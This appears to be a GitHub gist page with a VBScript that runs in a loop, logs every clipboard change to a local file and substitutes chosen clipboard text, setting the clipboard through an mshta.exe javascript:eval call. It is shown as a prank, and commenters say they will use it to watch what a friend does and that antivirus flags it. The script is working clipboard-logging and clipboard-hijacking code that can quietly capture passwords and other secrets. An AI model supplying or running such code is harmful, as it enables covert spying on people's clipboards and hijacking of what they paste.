Skip to content

Instantly share code, notes, and snippets.

@FlyTechVideos
Last active January 3, 2024 14:02
Show Gist options
  • Save FlyTechVideos/74e199c13596c18a250110f865f972b6 to your computer and use it in GitHub Desktop.
Save FlyTechVideos/74e199c13596c18a250110f865f972b6 to your computer and use it in GitHub Desktop.
Set objFS = CreateObject("Scripting.FileSystemObject")
outFile = "clip.txt"
oldClip = ""
Do
newClip = ClipBoard(Null)
If newClip <> oldClip Then
Set objFile = objFS.OpenTextFile(outFile, 8, True)
objFile.Write "############" & vbCrLf & ClipBoard(Null) & vbCrLf
objFile.Close
oldClip = newClip
If newClip = "Sub to Mosquito!" Then
ClipBoard("Sub to Fly!")
oldClip = "Sub to Fly!"
End If
End If
WScript.Sleep(1000)
Loop
' Stolen from https://stackoverflow.com/a/48548411
Function ClipBoard(input)
'@description: A quick way to set and get your clipboard.
'@author: Jeremy England (SimplyCoded)
If IsNull(input) Then
ClipBoard = CreateObject("HTMLFile").parentWindow.clipboardData.getData("Text")
If IsNull(ClipBoard) Then ClipBoard = ""
Else
CreateObject("WScript.Shell").Run _
"mshta.exe javascript:eval(""document.parentWindow.clipboardData.setData('text','" _
& Replace(Replace(Replace(input, "'", "\\u0027"), """","\\u0022"),Chr(13),"\\r\\n") & "');window.close()"")", _
0,True
End If
End Function
@gh-doot
Copy link

gh-doot commented Aug 4, 2020

nice ill now troll my friend AND see everyting he does xd

@gh-doot
Copy link

gh-doot commented Aug 4, 2020

wait wat flytech is on?

@gh-doot
Copy link

gh-doot commented Aug 4, 2020

image
100% confusion

@gh-doot
Copy link

gh-doot commented Aug 21, 2020

hai

@DarkCat09
Copy link

Windows is so dangerous...
Thanks for the script)

@NVG-064
Copy link

NVG-064 commented Aug 16, 2021

WinDef detect this as a virus lol.
Anyway, thanks for the script.

@Legitimater
Copy link

It says 'Permission Denied' how do i fix this?

@Natix1
Copy link

Natix1 commented May 29, 2023

it says permission denied probably because windows defender or any other antivirus deletes it

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment